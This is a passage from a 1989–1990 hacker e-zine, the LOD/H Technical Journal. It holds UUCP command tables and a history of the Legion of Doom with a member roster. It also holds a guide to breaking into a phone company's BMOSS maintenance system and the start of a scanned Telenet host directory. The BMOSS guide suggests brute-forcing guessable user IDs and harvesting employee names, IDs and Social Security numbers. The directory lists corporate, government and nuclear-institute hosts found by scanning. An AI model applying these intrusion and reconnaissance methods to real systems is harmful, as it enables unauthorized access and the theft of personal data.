    system mail logs.
```

```
|   -p  Use Standard Input                                |
|                                                         |
|   -r  Queue the job but don't start uucico.             |
|                                                         |
|   -s<filename> Send transfer status to file filename.   |
|                                                         |
|   -x<0..9> Set level of debugging information.          |
|                                                         |
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
```

E. uustat & uulog

These two programs are used to track UUCP jobs and examine their status.

uustat prints out a one-line summary for each job, telling you if the job is finished or the job is queued. Older versions of uustat will have the job state as either JOB DELETED or JOB IS QUEUED. The output of uustat will look like the following:

```
$uustat

   1001 hacker Alpha 10/31-09:45 10/31-10:15 JOB IS QUEUED
   1002 hacker Alpha 10/30-08:15 10/30-11:25 COPY FINISHED
    |      |     |        |           |             |
    |      |     |        |           |             |
  job #   user  node  start-time  status-time    job-status
```

See Table 4 for a list of options for the uustat command.

uulog is a more thorough version of uustat, as it tracks the status messages logged by the system as your job proceeded through the system. See Table 5 for options of the uulog command.

Table 4*
DDDDDDD

```
_____________________________________________________
|                                                   |
|  -a  report all queued jobs.                      |
|                                                   |
|  -k<job#> kill job # job#.                        |
|                                                   |
|  -m  report if another system is accessible.      |
|                                                   |
|  -q  report the number of jobs queued for         |
|      all systems on the net.                      |
|                                                   |
|  -s<system> report the status of jobs for         |
|      the system named systemname.                 |
|                                                   |
|  -u<username> report the status of jobs for       |
|      user username.                               |
|                                                   |
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
```

* There are several other options such as -o and -y that are system specific, and aren't really that useful to begin with.

Table 5
DDDDDDD

```
_____________________________
|                            |
|  -s<system> same as uustat |
```

```
                        |                              |
                        |  -u<userid> same as uustat |
                        |                              |
                        DDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
```

****

This marks the end of Part I. If time permits a Part II will be in the next LOD/H Technical Journal.

(c) 1989 The Mentor
Legion of Doom/Legion of Hackers

****

The LOD/H Technical Journal, Issue #4: File 06 of 10.

The History of LOD/H
Revision #3 May 1990
written by Lex Luthor

NOTES: I approximated all dates, as my records are not totally complete. If I left anyone out or put someone in that shouldn't be in, sorry I tried and did spend considerable time researching the dates and BBS files, the old LOD BBS software, etc. Revisions one and two were released to LOD/H members only. Some information may only be relevant to those who were around at the time.

The primary purpose of this article is simply to present an accurate picture of events and people who have been associated with this group. The reputation of many groups and many people have been tainted by slanderous remarks made by uninformed law enforcement and justice department personnel, the media, and other hackers. I find this sad, but it's a fact of life that must be endured. All that can be done in this article is to attempt to present the facts as I see them. Due to the wild and unfounded accusations by said persons, today LOD is viewed more as malicious criminals than as for what it was viewed as in the past. That is, of a group of people who put themselves at risk to help inform others. Of course this is a prettier picture than most want to believe, and is slightly prettier than what it is in actuality, but the ideal is there. Whenever a group of individuals get together, you cannot forget that they are individuals. These individuals can and do make mistakes in judgement in some cases. But also, they have been and continue to be victimized by law enforcement and said others. Over the years I have collected tens of newspaper and magazine articles about "The LOD", myself, and others with not a one being perfectly accurate. You have heard it before: don't believe everything you read. That goes for this article also, although I have made an honest attempt at ensuring that it is truthful and accurate, as Ripley said: believe it, or not.

I have been "retired" for quite some time now. My definition of retired is simply that of keeping my activities to those of a strictly legitimate nature. It is quite funny yet pitiful to here people say, "once a crook always a crook" AND BELIEVE IT! That statement is a fallacy. Nearly everyone has done something wrong when they were young yet many grow up to become the so called normal, law abiding citizens that society says we should be. At this point in time and in the foreseeable future, the risks of exploring and learning about telephone and computer networks in a less than legitimate fashion outweigh the benefits. I think many of the older hackers have adopted this philosophy out of necessity. This decision is even easier after reflecting on the events of which I have seen during the course of my "career". Those events are primarily

those of seeing people's rights being violated by law enforcement. Their privacy being forsaken by the media. I do not dispute however, that some hackers have done these same things to other hackers and other people. Neither side is right or fair so I suppose it is time to exit since it's getting too hot in the kitchen. I will remain however, in an advisory capacity to the Technical Journal and group for as long as they continue exist. If you are to believe the rumors, LOD has been dead many times, again untrue. The main drawback of becoming a BBS hermit is how the rumors start to accrue as time progresses. I have been "busted" perhaps a hundred times if you believe every rumor. The fact is that I have never been visited let alone busted. I have seen many people get into trouble due to their own carelessness. Those who have remained unmolested by the authorities are either very careful and paranoid, or are helping them catch others. I have been extremely careful and exceedingly paranoid, period.

Now that I have harassed the reader with my comments regarding the whole hacking/phreaking experience, I present the story. Please note that I realize many people could care less about all this, and if you are in that category you can always throw this into the shredder, now. But, there is a sufficient number of people who actually are curious to get the real story on this stuff so here it is, presented to correct the many inaccuracies which have surfaced over the years and also for the sake of posterity.

During the winter break from school in late 1983, I took a trip up to Long Island, NY to visit Quasi Moto. I had met him in south Florida, and he had since moved. He decided to put up a BBS, and while visiting him, we worked on it. For those who do not remember, its name was PLOVERNET. PLOVERNET was considered a resurrected OSUNY by some since some users migrated to PLOVERNET after OSUNY went down, at least in part, by an article in Newsweek mentioning it. A new hacker magazine, 2600, started posting advertisements on various boards. I had been in contact with Emmanuel Goldstein, the editor of 2600, on Pirates Cove, another 516 BBS. I gave him the number to PLOVERNET and due to the large amount of users, (500, of which 70% were relatively active) 2600 had plenty of response. PLOVERNET went online in January of 1984 and shortly thereafter it was the busiest BBS around. It was so busy in fact, that a long distance service called LDX had stopped connecting people who dialed 516-935-2481 which was PLOVERNET's number. Now remember, this is early 1984 here. The practice of blocking calls to a certain number wasn't really done by common carriers until 1986/87 with the emergence of new security software and audit trail information. I picked the best phreaks and hackers from PLOVERNET and invited them onto the newly created LOD BBS. LOD was one of the first boards which upon connection did nothing until you entered the primary password, and there was no new user routine as the board was invitation only. Again, this was back in early 1984. It was a fairly original albeit paranoid practice at the time, and many boards subsequently adopted the technique as security became an increasing concern.

Various groups had started forming such as Fargo 4A and Knights of Shadow. I was admitted into Knights of Shadow in early 84. After suggesting some promising new phreaks/hacks for membership and being turned down because they were not well known enough, (ie: they weren't big names even though they knew more than the guys who supposedly were) I put up the Legion Of Doom! bulletin board and shortly thereafter started a phreak/hack group of the same name. This was about May of 84 from what my records show. I had been a member of KOS and LOD or a brief time and then KOS broke up. Although there were many users on the LOD bbs, VERY FEW WERE MEMBERS OF THE GROUP! This distinction seems to have been forgotten by many, since some who were on the BBS have claimed to have been in the group, which is not true.

The name Legion Of Doom! obviously came from the cartoon series which pitted them against The Superfriends. I suppose other group names have come from stranger sources. My handle, Lex Luthor was taken from the

movie Superman I. In the cartoon series, LOD is led by Lex Luthor and thus, the group name was rather fitting. Being young and naive, I thought having a handle of someone who claimed to have 'the greatest criminal mind on Earth' and leading a group of the world's most notorious criminals would be cool. That was about 7-8 years ago. Now however, I see that there is nothing cool or attractive about being a criminal (believe it, or not).

The original group consisted of phreaks who I had thought were very good but were not considered 'famous' like those in KOS. Those original members later became some of the best known phreak personalities and contributed substantially to the knowledge of new and old phreaks alike. A list of members from the very beginning to the present follows. Through my records and from the best of my recollection I have approximated dates of entrance and exit and other information. Also, I believe I have a complete list however, there could be a mistake or two. Very few if any, handles from the past have been duplicated by 'impostors' whether knowingly or unknowingly.

I look at this article as a historical document seeing how no other group has survived as long as LOD has. LOD originally consisted mainly of phreaks, but had split into two separate entities. LOD for telecommunications hobbyists, and LOH for hacking and security enthusiasts.

Handle	Entered	Exit	Location	Reason for leaving
Lex Luthor	early 84	CURRENT	Here/There	---CURRENT MEMBER---
Karl Marx	early 84	late 85	Colorado	Went underground/quit.
Mark Tabas	early 84	late 85	Colorado	Many reasons.
Agrajag The Prolonged	early 84	late 85	California	Loss of interest.
King Blotto	early 84	late 85	Ohio	No time/college.
Blue Archer	early 84	Fall 87	Texas	College.
The Dragyn	early 84	late 86	Minnesota	No time/lost interest.
Unknown Soldier	mid 84	early 85	Florida	Busted- Toll fraud.
Sharp Razor	late 84	early 86	New Jersey	Busted- Abusing CIS.
Doctor Who	late 84	early 86	Mass.	Misc. Trouble
Lord Havok	late 84	CURRENT	Here/There	---CURRENT MEMBER---
Sir Francis Drake	late 84	early 86	California	???
Paul Muad'dib	late 84	early 86	New York	Went underground/quit.
Phucked Agent 04	late 84	late 87	California	No time. School.
X-man	late 84	mid 85	New York	Busted- Blue boxing.
Randy Smith	late 84	mid 85	Texas	???
Steve Dahl	early 85	early 86	Illinois	Busted-Carding.
The Warlock	early 85	early 86	Florida	Lost interest.
Terminal Man	early 85	late 85	Mass.	Kicked out-malicious hacking
Silver Spy	late 86	Fall 87	Mass.	College.
The Videosmith	early 86	Fall 87	Penn.	Lost interest.
Kerrang Khan	early 86	Fall 87	U.K.	???
The Marauder	early 86	mid 88	Conn.	Lost interest.
Gary Seven	early 86	mid 88	Florida	Lost interest.
Bill From RNOC	early 87	late 87	New York	Misc. Trouble.
Carrier Culprit	mid 87	mid 88	Penn.	Lost interest.
Master of Impact	mid 87	mid 88	California	School.
The Leftist	mid 87	Sum 89	Georgia	Misc. Trouble.
Phantom Phreaker	mid 87	Fall 89	Here/There	Lost interest.
Doom Prophet	mid 87	Fall 89	Here/There	Lost interest.
Thomas Covenant	early 88	early 89	New York	Misc. Trouble.
The Mentor	mid 88	Sum 89	Here/There	Lost interest.
The Urvile	mid 88	Sum 89	Georgia	Misc. Trouble.
Phase Jitter	mid 88	CURRENT	Here/There	---CURRENT MEMBER---
Prime Suspect	mid 88	CURRENT	Here/There	---CURRENT MEMBER---

The Prophet	late 88	Sum 89	Georgia	Misc. Trouble.	
Skinny Puppy	late 88	CURRENT	Here/There	---CURRENT MEMBER----	
Professor Falken	late 89	CURRENT	Here/There	---CURRENT MEMBER---	

Directory key:
"Lost Interest": simply means they lost interest in phreaking/hacking in general, not lost interest in LOD/H.
"???": reason for leaving is unknown.
Misc. Trouble: Exactly that. Too much to go into here.
Of all 38 members, only one was forcefully ejected. It was found out that Terminal Man destroyed data that was not related to covering his tracks. This has always been unacceptable to us, regardless of what the media and law enforcement tries to get you to think.
Remember, people's entrance/exit times have been estimated.

[End of Article]

The LOD/H Technical Journal, Issue #4: File 07 of 10

The Trasher's Handbook to B.M.O.S.S.

by

Spherical Aberration

INTRODUCTION:

Those who have actually trashed at Bell Co. before know that finding an installation can be a pain. Most Telco buildings these days are un-marked, plain, and generally overlooked by the average person. The buildings were specifically made so that they WOULD be overlooked, concealing itself and its contents. Knowing where all Bell Co. installations are would be nice, and through the help of BMOSS we can find out where they ALL are.

NOTE: It is possible to get locations from your city hall, just take a look at what property Bell Co. owns and locate it. However, there are few catches to this method. First, most cities charge you to find out who owns what property and there might be a waiting period of a few days. Second, not all Bell Co. property is owned by Bell Co. There are instances of Bell Co. renting a piece of property from a company and using the existing building, possibly with the leasing companies logo still on it.

BMOSS stands for Building Maintenance Operations Service System. BMOSS provides computer support for daily building maintenance tasks. A comprehensive database helps users keep track of repair activities. Telco field mechanics logon everyday to do assorted field mechanic stuff. From BMOSS they can check on tasks needed to be done, send messages to users, charge various Telco installations for work, log time sheets, generate purchase orders, see where his buddies are eating lunch etc.

BMOSSes are usually located in a BOCC (Building Operations Control Center) or in a REOC (Real Estate Operations Center). BMOSS is run under AT&T Unix System V and at some points is quite Unix-like. At each center is one PDP-11/44 or a PDP-11/84 mainframe that is the base of operations for that center and other installations supported by that BOCC/REOC.

LOGGING ONTO BMOSS:

Before logging on to BMOSS you must select the proper type of terminal emulation. BMOSS has 4 types of emulations available for all users. Users within the BOCC/REOC use either VT100 or VT220 compatible terminals, while other internal stations will use an LA120 printer

terminal. Field Mechanics at a remote location use their typewriter like LA12 printer terminals.

Identifying a BMOSS dialup is not that hard at all. After hitting a three [CR]'s the system will respond with something like this:

(BEEP!)

Good Morning (Depending on what time of day it is)

BASE/OE - Fri 04/23/90 09:43:22 - Online 9

User ID?
Password?

Typically user IDs are the three initials of the field mechanics name. After inputting your ID you will be prompted with a Password? request. Passwords can be from 6 to 8 characters in length, including punctuation marks, the first letter must begin with an alphabet-letter or a number. They cannot contain spaces or the users first/middle/last name. Periodically the system will prompt the user for a new password. This period of time is usually set by the system administrator.

I have found that the "WRK:A10" user ID or a variation of WRK:xxx where xxx is a alpha-numerical combination has worked excellent for me. I believe the WRK:xxx is some type of low-level account when field mechanics lose their current ID/PW combination. Initials also have been found on most of the systems, so a WRK:xxx and Initials brute-force attempt just may give you a working ID.

IN BMOSS:

Once penetrating initial security you are then prompted with BMOSS's FLD> main level identifier. This FLD> changes as you move from BMOSS's root to the various main BMOSS branches.

Sometimes when you logon to BMOSS you will receive a memo saying, "NOTE - Check your office" at this time go to the Office and read the memos sent to you. Read THE OFFICE later in this article to learn how.

BMOSS was designed with the average Joe in mind and is very logically laid out. BMOSS was modeled after UNIX's Tree-oriented structure. Here is a Tree of BMOSS's structure:

```
                    BMOSS
_____________|_____________
|    |    |     |    |    |
CON  DAT  ACT   FOR  BIL  OFF
```

Main Branches:
CON- Control Functions (Sys Admin payroll/timesheet functions)
DAT- Database Maintenance (What we are mainly concerned with)
ACT- Field Activity (Handles field activities)
FOR- Force Administration (Recording labor hrs for time sheets etc.)
BIL- Bill Paying (Processing purchase orders, producing expense accts.)
OFF- Electronic Office (Receive/Send Messages or Page users)

Each main branch then branches off into its own specific commands. I will concentrate on the Database Maintenance functions since the other functions have little or no use to us.

DATABASE MAINTENANCE:

To haul in the mother lode you go into the Database Maintenance area from the root. This is accomplished by typing DAT in at the FLD> prompt. Now you should get a DAT> prompt meaning you are now in the Database Maintenance section. To get a listing of the available DAT commands type in 'SHO' which is short for SHOW. We are mainly concerned with the BLD (Building Master) function. Once the BLD function is selected you will be prompted for a sub-form. There are 7 sub-forms for the BLD function.

BLD Sub-Forms:

1. GEN- General Background
2. OWN- Building Ownership (used for adding a new building to database)
3. LES- Lease Terms (used for adding a new building to database)
4. EMG- Emergency Data (contains Police and Fire Dept. that serve this location and their respective telephone numbers, and whether the location has backup power and fire-sprinklers etc.)
5. RES- Maintenance Responsibility (Maintenance entries for building)
6. WRD- Building Warden (Building Wardens number etc.)
7. NOT- General Notes (Notes about the particular building)
8. ACC- Accounting Distribution (Account for particular building)

Accessing the above information is as easy as selection of the three letter identifier at the Sub-Form prompt. We are particularly concerned with the GEN (General Background) information. This function gives us the following data:

1. Building's Number
2. Building's Complete Address
3. Building's Name
4. Building's Sector (Bell informational purposes only)
5. Building's Zone (Bell informational purposes only)
6. Whether or not Bell owns the building. (A Y/N combination is usually shown here. Y meaning its is owned by Bellco, N meaning its not owned by Bellco.)
7. The building's group (One letter identifier)
8. The building's use. (Garage/Warehouse/Office etc.)
9. The kind of telephone equipment used in the building. (ESS1A etc.)
10. Whether or not Bell is Sub-leasing parts of the building. (Y/N identifier)
11. The number of floors in the building
12. The number of basements in the building (A number of 3 here would mean the building has 3 below ground level floors.
13. Whether or not the building has a cable vault. (Y/N identifier)
14. Gross Square footage of the building
15. The number of reserved parking spaces for the building.

Once entering the DAT section and entering GEN as your sub-form selection you will be prompted for a building number. Random selection of building numbers is necessary because they vary from area to area. Once a legitimate building number is accessed the above information will be displayed.

Ok, you now have the information you need, how do you get back to a previous directory or even log off ? That's quite easy. Typing in EXI (short for EXIT) will bring you back up to the root FLD> one directory at a time. For logging off the system you should hit EXI until you reach the FLD> root then BYE and you will get:

BASE/OE - Fri 4/23/90 10:22:13 - Offline 9

Have a Good Morning

OTHER FUNCTIONS:

I have found the REPORTS function most helpful in finding other

user IDs. To get a listing of the 20+ different types reports type 'HELP REPORT' at the FLD> prompt. We are particularly concerned with REPORT 41, the Estimated vs. Actual Hours Log. We bring this up by typing from the FLD:

FLD> REPORT 41 04/02/90-04/06/90 <cr>

You are inquiring for the estimated vs. actual hours time on a series of jobs from April 4th 1990 through April 6th 1990. The output then kicks out the hours and such. Every field mechanic that worked throughout those days will be displayed in- First name, Middle Initial, and Last Name totally spelled out for you.

Another useful report is REPORT 90- Data Access Log. It is called up by typing:

FLD> REPORT 90 <cr>
Date Range? 04/06/90-04/08/90

The system then kicks out all users that used the SCOPE command on other users. The system prints out the users full name and actual USER ID and who the user scoped including the scoped-user's Social Security number.

THE OFFICE:

When you are prompted that you should check your messages you should do so immediately before any work is done in BMOSS. First you must go to your office which is done by selecting OFF from the FLD> identifier. Once this is done your FLD> prompt will change to a OFF> prompt. Typing HELP will give you the available HELP commands for the office.

To check the messages type in:

OFF> STATUS <cr>

BMOSS will reply with the following: (example)

Memo	From User	Subject	Status
IPAAA 04/01/90	Wile E Coyote	Current Task Info	OUT
BNAAA 04/02/90	Susie B Hott	Last Saturday Night	IN

The user then sees he has a memo from his boss about his current tasks and a memo from his co-worker/seductress Susie B. Hott. Fuck his boss, he wants to read what Susie has to say. So you type in:

OFF> PRINT BNAAA <cr>

--- MEMO ---

Date: 04/02/90
Time: 08:11

From: Susie B Hott
To: Legion Of Doom

Subject: Last Saturday Night

LOD, I really enjoyed last saturday night. We must do it again.
Give me a call soon, 555-WETT.
** Susie

A useful command is a list of OFFICE users. This gives you another

listing of user's Full-Name/ID combinations. Get this by typing:

OFF> USERS <cr>

It will then print out the users who are in the Electronic Office database.

CONCLUSION:

You can get HELP from anywhere just by typing HELP from the prompt. Or if you need specific information about a function type in HELP then the function name. Such as:

FLD> HELP REPORT (This gives you options/help on the REPORT command)

BMOSS can be used for a large amount of purposes for the hacker/trasher. Even though it doesn't have any really powerful commands to self-destruct the telephone company it can be used to access other building's trash, and other things that may interest you.

_____
(Spherical Aberration)
The LOD/H Technical Journal, Issue #4: File #08 of 10

The Legion Of Hackers Present:
Updated: Telenet Directory
Part A: Addresses 201XXX to 424XXX
Revision #5 Last Updated: 2/10/90
(Includes Mnemonic Host Names)

Scanned and Written by:
Erik Bloodaxe

INTRODUCTION:

It has been some time since our last update. Our old list (Revision #4) has been distributed to those in the United States and internationally thanks to the widespread use of the PSS network. For this reason we are including the format for converting this 'local' address list into accessible hosts using the standard scheme for telenet when accessed from 'foreign' networks.

For example, the local address: 20114 is 031102010001400 using the standard format. 3110 is the DNIC (Data Network Identifier Code) for USS Telenet and the zero preceding it is needed to make it clear to the foreign network that the NUA (Network User Address) is a non-local address. Another example, the local address is 203155 would be: 031102030015500 thus: 0DNIC NPA 00 XXX YY NPA is the area-code prefix (this is not necessarily an area code), XXX is the sub-address and YY is the port which is usually 00.
For those unfamiliar with Telenet addressing, it generally follows the format of grouping hosts into area codes. Thus, our directory is grouped accordingly. There are 'non-standard' address prefixes which are rather obscure. These commonly are owned by the same company or organization, whereas the area code format contains hosts from many companies or organizations. The state an area code resides is also listed to give you an idea of its location.
I have also included Telenet commands, mnemonic addresses, a somewhat current list of pc-pursuit dialers, and a few things to consider for the would-be Telenet scanner.

NOTES:

When accessing telenet from abroad, ignore the '$' after the address. This denotes to users of the USA that an NUI (Network User ID) is required due to the host not accepting collect charges for the connection.

Addresses preceded by a * refuse collect connections, but I was unable to connect with them to determine what they were.

Addresses that have no comments next to them either hang up upon connection, or I was unable to evoke any response from them.

Due to its immense size, this directory has been presented in a 'rougher' form than our previous ones. The time to make it look 'pretty' was determined to not be worth the effort.

TELENET COMMANDS

Most commands are listed in their four character form, however, some may be abbreviated to merely one character (ie. C & D).

CONN	Allows user to connect to a specified host
DISA ECHO	
DISA FLOW	
DISA TFLO	
DISC	Disconnect from current host
DTAPE	?
ENAB ECHO	
ENAB FLOW	
ENAB TFLO	
FULL	Full duplex
HANG	Hang up port
HALF	Half duplex
MAIL	Telemail service
PAR	Set parameters as specified
PAR?	Shows current parameter settings
RESE	Resets the node to inactive
RST	Sets parameters of remote host as specified
RST?	Shows current parameters of remote host
SET	Same as PAR
SET?	Same as PAR?
STAT	Shows current port
TAPE	?
TELE	Telemail service
TEST CHAR	Test of all ascii characters
TEST ECHO	Test which echos all characters typed
TEST TRIA	Test which makes repeating triangle
TEST VERS	Shows current pad software version

The default command is CONN, so if an address is entered at the '@' prompt, an attempt will be made to connect to that address.

A connection attempt may be aborted by sending a break signal. This will put you back to the '@' prompt.

To return to the '@' prompt from an established connection the user must type '@' followed by carriage return.

Normal 300/1200 users awaken the pad with two carriage returns. 2400 baud users must type '@' then carriage return.

To awaken the pad in the Uninet format, type: carriage return, period, then carriage return (upon initial connection).

To find the telenet dialup nearest your location, call 800-424-9494 at 300/1200 baud. At the '@' prompt, type 'MAIL'. Enter user name 'PHONES' with password 'PHONES'.

TELENET DIRECTORY

201--NEW JERSEY--ADDRESSES SCANNED: 0-2000

$	ADDR	SYSTEM TYPE	OWNER/SYSTEM NAME/RESPONSE
$	1		PC Pursuit Dialer (1200)
	14		WELCOME, NAME OR #?
	15		" "
$	20	VM/370	
$	22		PC Pursuit Dialer (2400)
*	23		
	25		WELCOME, NAME OR #?
	32		D&B
$	34	PRIME	MWH
$	35	PRIME	
	45		NEWSNET
$	49	VAX	
	50	UNIX	Interet
$	51	PRIME	USCGB
	53		Colgates IICS
$	55	PRIME	USCGB
$	66	PRIME	SYS001
	67		Warner Computer Systems
	68		" "
	69		" "
	74		enter class
	83		ENTER ID:
	84		D&B
	86		D&B
	88		D&B
	89	VM/370	
$	129a		
	138	HP-3000	
*	140		
	146	HP-3000	
	149	VAX	
*	150		
	156	UNIX	Securities Data Company
	159a		
	163		VU/TEXT
	164		VU/TEXT
	166	VM/370	New Jersey Educational Net
	171		>>
	172		>>
	173		
	200		D&B
	201		D&B
	220	VAX	Investment Technologies
	225	VAX	" "
$	241		
	242		D&B
	243		D&B
	244		D&B
	246		D&B
	249		password required
*	251		
	252	PRIME	
	259	VAX	CCMI/McGraw Hill
*	260		
$	301		PC Pursuit Dialer (1200)

	334		TINTON1
*	336		
$	350		Concurrent Computer Corp
	353		enter switch characters
$	355		Concurrent Computer Corp
	359		Telenet Async to 3270
	367		
*	371		
*	379		
	453		Telenet Async to 3270
	454a		Telenet Async to 3270
$	458		ENTER REQUEST
$	459		"
	461	VAX	
	463a		Telenet Async to 3270
	470	Decserver	
$	472		MHP201A
	476		X.29 Password:
	477		Please enter logon cmd
$	478		MHP205A
	479		Please enter logon cmd
	520		Enter Access ID:
	521		Bankers Trust Online
	522	VAX	NYBTRP
*	548		
	586		Dow Jones News Retrieval
	587		" "
	589		" "
	604		Lipton Network
	700	HP-3000	
	702	TOPS-20	CEI
	722		INSCI/90
	730		"
	751		"
	752		"
	770		"
	792		"
	799		
	830		INSCI/90
	841		"
	850		
	870		INSCI/90
	890		"
	895		"
	899		
	910		INSCI/90
	912		"
	914		"
	916		
	918		INSCI/90
	940		"
	950		Bankers Trust Online
	951		" "
	952		" "
	953		" "
	954		" "
	955		" "
	956		" "
	957		" "
	958		" "
	959		" "
	999		
	1025		
	1051		VU/TEXT

```
   1052                      "
   1053                      "
   1054                      "
   1055                      "
   1056                      "
   1057                      "
   1058                      "
   1059                      "
   1060                      "
   1061                      "
   1062                      "
   1063                      "
   1064                      "
   1065                      "
   1066                      "
   1067                      "
   1068                      "
   1069                      "
   1075                      "
   1076                      "
   1077                      "
   1078                      "
   1079                      "


202--WASHINGTON D.C.--ADRESSES SCANNED:  0-800

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
   10      PRIME
   31      VAX            News Machine
$  36                     Network Sign-on Failed
$  38                               "
$  47      VAX
*  48
   49                     ENTER SYSTEM ID--
$  115                    PC Pursuit Dialer (300)
$  116                    PC Pursuit Dialer (1200)
$  117                    PC Pursuit Dialer (2400)
*  123
   132     VAX
   133                    BA
   134                    BA
$  138     VAX            Gallaudet University
$  139     DEC-10
   141     PRIME          Telemail
   142     PRIME          Telemail
$  149
   150     VAX            IDR
*  151
$  154                    Telenet Async to 3270
$  155a                   Telenet Async to 3270
$  156     VAX            American Psychiatric Assn
*  157
   161     UNIX           pac
   162                    enter user id-
$  165     HP-3000
$  166     VAX
   201                    Host Name:
   202
   203                    USER ID:
   214     PRIME          SPA
   217
*  224
```

```
*  230
   232a
$  235     PRIME          AMSC
$  239     PRIME          AMSA
*  241
*  242
*  243
   245     AOS
*  253
*  254
   255                    Morgan Stanley Network
*  258
*  260
*  265
*  266
*  275
*  276
*  277
$  278                    USER ID
   308     PRIME
   309     PRIME
   312     PRIME
*  330
*  331
*  332
*  333
*  334
*  335
   336     VAX            Congressional Quarterly
   337     VAX                       "
$  343     PRIME          OT
   360     HP-3000
   361
   362
*  364
   365                    LEXIS/NEXIS
   366                         "
   367                         "
*  371
*  372
*  373
*  377
$  390                    #Connect Requested
$  391                           "
*  403
   430                    >
*  433
*  434
   439                    Institute of Nuclear Power
   440                              "
   441                              "
   442                    you are now connected
   444                    Institute of Nuclear Power
$  455
   456
   457
   458
$  462
$  463
   465
   466
   467
   469
   470
```

```
   472
$  473
$  474
$  475
$  532     VAX
$  535     AOS
*  536
*  652
*  653
*  654
   693     HP-3000        MPE XL
   709
   710
   711
   712
   810                    Telenet Async to 3270
   811a                   Telenet Async to 3270
   1180                   INVALID-SW-CHARACTERS
   1181
   1182                   NCR Comten
```

203--CONNECTICUT--ADDRESSES SCANNED: 0-600

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
   22      VM/370
*  57
$  60      HP-3000
   66                     Login Please:
   72      HP-3000
   73a                    Password:
   75      VAX
$  105                    PC Pursuit Dialer (2400)
$  120                    PC Pursuit Dialer (300)
$  121                    PC Pursuit Dialer (1200)
$  132     VAX
*  135
   136     PRIME          SYSA
$  140                    ID
   165                    Telekurs USA
*  230
*  231
   304     HP-3000
$  305                    Name?
   307     HP-3000
   310
*  311
*  331
*  332
*  501
   602                    DESTINATION?
```

205--ALABAMA--ADDRESSES SCANNED: 0-200

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
*  30
$  33                     ID
*  34
*  36
$  73      PRIME          ALABMA
```

```
*  137
$  145     HP-3000


206--WASHINGTON--ADDRESSES SCANNED:  0-1000

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  20      HP-3000
$  30      HP-3000
   32      VAX
$  35                     DMOLNCT
$  38      AOS
$  40      PRIME          P6350
$  42      AOS
$  44      AOS
$  50      AOS
   53
$  57      AOS
   65      PRIME          OAD
$  131     AOS
$  132     VAX            ETA-RX
$  135     AOS
   137a                   Boeing msg switch
$  138                    USSMSG2
$  139     WANG VS        SECURITIES (FRS)
$  141     AOS
$  145     AOS
$  146     PRIME          SEATLE
$  147     AOS
*  150
$  160     AOS
$  161     AOS
   175a                   Boeing test
$  205                    PC Pursuit Dialer (300)
$  206                    PC Pursuit Dialer (1200)
   207a
$  208                    PC Pursuit Dialer (2400)
$  250     WANG VS        SYSTEM ONE (FRC)
$  251     WANG VS        SYSTEM TWO (TACOMA)
$  338
$  357     HP-3000
$  430                    Environmental Ctrl Monitor
   439                    bcs network
   440     NOS            Boeing
   447     NOS            Boeing
   448                    bcs network
   449     VM/370


207--MAINE--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
*  51


208--IDAHO--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  42      AOS
$  43      AOS
$  56      AOS
```

```
$  131     AOS
$  134     AOS
$  135     AOS
$  136     AOS
$  137     AOS
$  140     AOS
$  141     AOS
*  150
$  152     AOS
```

209--CALIFORNIA--ADDRESSES SCANNED: 0-200

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  30      AOS
$  31      AOS
*  33
*  34
```

211--DUN & BRADSTREET--ADDRESSES SCANNED: 0-100/1000-2000

```
$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
   1140
   1142
   1145                   Dun & Bradstreet Terminal
   1190                      "               "
   1195                      "               "
   1240                      "               "
   1244                      "               "
   1290                      "               "
   1291                      "               "
   1295                      "               "
   1390                      "               "
   1391                      "               "
   1392    PRIME
   1396                   Dun & Bradstreet Terminal
   1490    PRIME
   1491                   Dun & Bradstreet Terminal
   1492                      "               "
   1493                      "               "
   1494                      "               "
   1540                      "               "
   1591                      "               "
   1594                      "               "
   1594                      "               "
   1640                      "               "
   1690                      "               "
   1693                      "               "
   2140                   CCS Online
   2141                   CCS Online
   2142    VM/370
   2143                   sls1
   2145    VM/370
   2150    PRIME
   2151                   fsd2
   2152                   socy
   2153                   css3
   2154                   CCS Online
   2155                   CCS Online
   2156                   ecl1
   2157                   tbs1
```

```
   2158                    dbc1
   2159                    exx2
   2160                    nyt2
   2162                    css1
   2163                    css2
   2164                    bofa
   2165                    soc1
   2166                    soc2
   2167                    socx
   2168                    soc3
   2169                    soca
   2170                    socb
   2171                    socc
   2172                    dnb1
   2173                    mdy2
   2174                    koln
   2175                    fsd1
   2176                    ptts
   2177                    has1
   2178                    has3
   2179                    levi
   2180                    nyt1
   2181                    pers
   2182                    risk
   2183                    usc1
   2184                    cids
   2185                    zyt1
   2186                    inel
   2187                    fop1
   2188                    kbm1
   2189                    kbm2
   2190                    kbm3
   2191                    kbm4
   2192                    sls1
   2193                    mdy1
   2194                    ira1
   2195                    ira2
   2196                    why1
   2197                    ndg1
   2198                    lit1
   2450    PRIME
   3141    IDC/370
   6140                    OAG


212--NYC-BRONX & MANHATTAN--ADDRESSES SCANNED:  0-1200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  11                     PLEASE BEGIN
$  28                     PC Pursuit Dialer (2400)
   31      VM/370
*  34
   39      PRIME          IDDD
   40                     PLEASE ENTER /LOGIN
*  48
$  52      PRIME          SYSA
$  73                     USS00
   74      VM/370
   79                     ENTER ID:
*  85
*  86
$  99      HP-3000
   105                    ****INVALID SIGNON
```

```
   106                              "
   108                              "
   109                              "
   110                              "
   112     VM/370
$  124     VAX
   131     VM/370
*  132
*  135
